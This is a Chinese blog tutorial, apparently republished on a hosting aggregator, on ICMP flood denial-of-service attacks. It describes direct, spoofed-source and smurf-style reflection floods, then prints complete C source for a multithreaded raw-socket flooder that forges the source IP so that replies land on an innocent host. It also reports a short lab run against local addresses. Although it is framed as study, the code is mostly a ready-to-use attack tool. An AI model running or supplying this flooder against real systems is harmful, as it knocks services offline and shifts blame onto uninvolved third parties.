我的上一篇文章《linux編程之ping的實現》里使用icmp協議實現了ping的程序,icmp除了實現這么一個ping程序,還有哪些不為人知或者好玩的用途?這里我將介紹icmp另一個很有名的黑科技:icmp洪水攻擊。
icmp洪水攻擊屬于大名鼎鼎的dos(denial of service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這里本著加深自己對icmp的理解的目的,也試著基于icmp寫一段icmp的洪水攻擊小程序。
洪水攻擊(flood attack)指的是利用計算機網絡技術向目的主機發送大量無用數據報文,使得目的主機忙于處理無用的數據報文而無法提供正常服務的網絡行為。
icmp洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙于處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。
要實現icmp的洪水攻擊,需要以下三項的知識儲備:
- dos攻擊原理
- icmp的深入理解
- 原始套接字的編程技巧
一、icmp洪水攻擊原理
icmp洪水攻擊是在ping的基礎上形成的,但是ping程序很少能造成目的及宕機的問題,這是因為ping的發送包的速率太慢了,像我實現的ping程序里ping包發送速率限定在1秒1發,這個速率目的主機處理ping包還是綽綽有余的。所以要造成“洪水”的現象,就必須提升發包速率。這里介紹三種icmp洪水攻擊的方式:
(1)直接洪水攻擊
這樣做需要本地主機的帶寬和目的主機的帶寬之間進行比拼,比如我的主機網絡帶寬是30m的,而你的主機網絡帶寬僅為3m,那我發起洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和帶寬要大于被攻擊主機,否則自身被dos了。基于這種思想,我們可以使用一臺高帶寬高性能的電腦,采用多線程的方法一次性發送多個icmp請求報文,讓目的主機忙于處理大量這些報文而造成速度緩慢甚至宕機。這個方法有個大缺點,就是對方可以根據icmp包的ip地址而屏蔽掉攻擊源,使得攻擊不能繼續。
(2)偽ip攻擊
在直接洪水攻擊的基礎上,我們將發送方的ip地址偽裝成其他ip,如果是偽裝成一個隨機的ip,那就可以很好地隱藏自己的位置;如果將自己的ip偽裝成其他受害者的ip,就會造成“挑撥離間”的情形,受害主機1的icmp回復包也如洪水般發送給受害主機2,如果主機1的管理員要查是哪個混蛋發包攻擊自己,他一查icmp包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。
(3)反射攻擊
這類攻擊的思想不同于上面兩種攻擊,反射攻擊的設計更為巧妙。其實這里的方式三的攻擊模式是前兩個模式的合并版以及升級版,方式三的攻擊策略有點像“借刀殺人“,反射攻擊不再直接對目標主機,而是讓其他一群主機誤以為目標主機在向他們發送icmp請求包,然后一群主機向目的主機發送icmp應答包,造成來自四面八方的洪水淹沒目的主機的現象。比如我們向局域網的其他主機發送icmp請求包,然后自己的ip地址偽裝成目的主機的ip,這樣子目的主機就成了icmp回顯的焦點了。這種攻擊非常隱蔽,因為受害主機很難查出攻擊源是誰。
二、icmp洪水攻擊程序設計
這里我想實現一個icmp洪水攻擊的例子,這里我想采用方式二來進行設計。雖說方式三的“借刀殺人”更為巧妙,其實也是由方式二的偽裝方式進一步延伸的,實現起來也是大同小異。
首先給出攻擊的模型圖:
1.組icmp包
這里的組包跟編寫ping程序時的組包沒太大差別,唯一需要注意的是,我們需要填寫ip頭部分,因為我們要偽裝源地址,做到嫁禍于人。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
void dos_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(icmp_packet_size); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = proto_icmp; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(fake_ip);; // 偽裝源地址 ip_hdr->ip_dst.s_addr = dest; // 填入要攻擊的目的主機地址 icmp_hdr->icmp_type = icmp_echo; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(icmp_echo << 8)); // 注意這里,因為數據部分為0,我們就簡化了一下checksum的計算了 } |
2.搭建發包線程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
void dos_attack() { char* packet = (char*)malloc(icmp_packet_size); memset(packet, 0, icmp_packet_size); struct sockaddr_in to; dos_icmp_pack(packet); to.sin_family = af_inet; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while (alive) // 控制發包的全局變量 { sendto(rawsock, packet, icmp_packet_size, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free (packet); // 記得要釋放內存 } |
3.編寫發包開關
這里的開關很簡單,用信號量+全局變量即可以實現。當我們按下ctrl+c時,攻擊將關閉。
1
2
3
4
5
|
void dos_sig() { alive = 0; printf ( "stop dos attack!\n" ); } |
4.總的架構
我們使用了64個線程一起發包,當然這個線程數還可以大大增加,來增加攻擊強度。但我們只是做做實驗,沒必要搞那么大。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
int main( int argc, char * argv[]) { struct hostent* host = null; struct protoent* protocol = null; int i; alive = 1; pthread_t attack_thread[thread_max_num]; //開64個線程同時發包 int err = 0; if (argc < 2) { printf ( "invalid input!\n" ); return -1; } signal (sigint, dos_sig); protocol = getprotobyname(proto_name); if (protocol == null) { printf ( "fail to getprotobyname!\n" ); return -1; } proto_icmp = protocol->p_proto; dest = inet_addr(argv[1]); if (dest == inaddr_none) { host = gethostbyname(argv[1]); if (host == null) { printf ( "invalid ip or domain name!\n" ); return -1; } memcpy (( char *)&dest, host->h_addr, host->h_length); } rawsock = socket(af_inet, sock_raw, proto_icmp); if (rawsock < 0) { printf ( "fait to create socket!\n" ); return -1; } setsockopt(rawsock, sol_ip, ip_hdrincl, "1" , sizeof ( "1" )); printf ( "icmp flood attack start\n" ); for (i=0;i<thread_max_num;i++) { err = pthread_create(&(attack_thread[i]), null, ( void *)dos_attack, null); if (err) { printf ( "fail to create thread, err %d, thread id : %d\n" ,err, attack_thread[i]); } } for (i=0;i<thread_max_num;i++) { pthread_join(attack_thread[i], null); //等待線程結束 } printf ( "icmp attack finishi!\n" ); close(rawsock); return 0; } |
三、實驗
本次實驗本著學習的目的,想利用自己手上的設備,想進一步理解網絡和協議的應用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設備造成影響。
再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,并將自己偽裝成主機172.0.5.182,對主機172.0.5.9發起icmp洪水攻擊。
攻擊開始
我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到并交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。
使用wireshark抓包再瞧一瞧,滿滿的icmp包啊,看來量也是很大的。icmp包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機172.0.5.182肯定會想,莫名其妙啊,怎么收到這么多echo reply包。
攻擊實驗做完了。
現在更為流行的是ddos攻擊,其威力更為強悍,策略更為精巧,防御難度也更加高。
其實,這種ddos攻擊也是在dos的基礎上發起的,具體步驟如下:
1. 攻擊者向“放大網絡”廣播echo request報文
2. 攻擊者指定廣播報文的源ip為被攻擊主機
3. “放大網絡”回復echo reply給被攻擊主機
4. 形成ddos攻擊場景
這里的“放大網絡”可以理解為具有很多主機的網絡,這些主機的操作系統需要支持對目的地址為廣播地址的某種icmp請求數據包進行響應。
攻擊策略很精妙,簡而言之,就是將源地址偽裝成攻擊主機的ip,然后發廣播的給所有主機,主機們收到該echo request后集體向攻擊主機回包,造成群起而攻之的情景。
以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持服務器之家。